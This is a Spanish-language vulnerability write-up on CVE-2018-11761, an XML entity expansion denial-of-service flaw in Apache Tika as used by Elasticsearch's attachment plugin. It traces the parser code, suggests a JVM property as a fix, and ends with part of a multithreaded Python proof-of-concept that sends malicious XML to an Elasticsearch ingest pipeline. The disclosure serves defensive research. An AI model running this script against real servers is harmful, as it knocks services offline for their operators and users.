
Vulnerabilidad de denegación de servicio en Apache Tika (CVE-2018-11761)
En una investigación reciente sobre Apache Tika, encontré una vulnerabilidad de DOS (Denegación de Servicio) existente en su analizador XML. Es causada por el hecho de que el analizador analiza incorrectamente el documento XML.
Como sabemos, el complemento principal de ingesta de archivos adjuntos permite a Elasticsearch extraer archivos adjuntos en formatos comunes (como PPT, XLS y PDF) utilizando la biblioteca de extracción de texto Apache Tika. Así que echemos un vistazo al código fuente del complemento de ingesta de archivos adjuntos.```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };
En realidad, el plugin usa [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java) como analizador para extraer el contenido de un archivo XML. Tras investigar más a fondo, podemos ver las siguientes invocaciones:
* `DcXMLParser()` extiende [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java)
* `XMLParser` usa [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75) para analizar documentos XML
* `XMLReaderUtils.parseSAX` invoca [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163)```java
public static SAXParserFactory getSAXParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setValidating(false);
try {
factory.setFeature(
XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
} catch (SAXNotSupportedException e) {
} catch (SAXNotRecognizedException e) {
// TIKA-271: Some XML parsers do not support the
// secure-processing feature, even though it's required by
// JAXP in Java 5. Ignoring the exception is fine here, as
// deployments without this feature are inherently vulnerable
// to XML denial-of-service attacks.
}
return factory;
}
En la función anterior, podemos ver restricciones de seguridad muy limitadas para el objeto SAXParserFactory.newInstance():```Java
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Según la explicación de Oracle, cuando [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) está habilitado, le indica a la implementación que procese XML de forma segura. Esto puede establecer límites en las construcciones XML para evitar condiciones como ataques de denegación de servicio.
Pero, en realidad, no es capaz de prevenir por completo la [Expansión de Entidades XML](http://www.ws-attacks.org/XML_Entity_Expansion). Un atacante aún puede enviar un documento XML manipulado al servidor ES para realizar un ataque de DoS mediante la vulnerabilidad de Expansión de Entidades XML, como se menciona en la sección `Proof of Concept`. Revisé el código fuente de Apache Tika y solo habilitan la característica `XMLConstants.FEATURE_SECURE_PROCESSING`, con la que podrían pensar que se puede proteger contra este tipo de ataque según [este artículo](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html), ya que limita el número de expansiones de entidades a 64,000 por defecto. Pero en realidad, aún podemos aprovechar esas 64,000 expansiones de entidades para generar un objeto XML de amplificación en memoria; por ejemplo, el tamaño del archivo `ES_XML.xml` en el POC es de solo unos 64KB, pero una vez que se sube al servidor Tika backend en el servidor ES, Tika tendrá que asignar al menos 6MB de memoria (6MB / 64KB = 100 veces) para analizarlo, lo que provoca que el uso de la CPU aumente rápidamente.
Por lo tanto, según mi entendimiento, un posible remedio podría ser establecer la siguiente propiedad del sistema, lo que limitaría enormemente el impacto según [el documento de Oracle](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html):```
jdk.xml.entityExpansionLimit=1
La siguiente demostración está probada y verificada en ElasticSearch 6.3.31, que utiliza Tika 1.18:
poc_dos_es.py:```Pythonimport requests import sys import base64 import json import threading import sys
headers = {"Content-Type" : "application/json"}
class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1
def create_ingest_att_pipeline(self, url):
pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
data = {
"description" : "Extract attachment information",
"processors" : [{
"attachment" : {
"field" : "data",
"indexed_chars": "-1"
}
}]
}
res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))
def send_payload(self, url, payload):
ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
data = {
"data": payload
}
res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))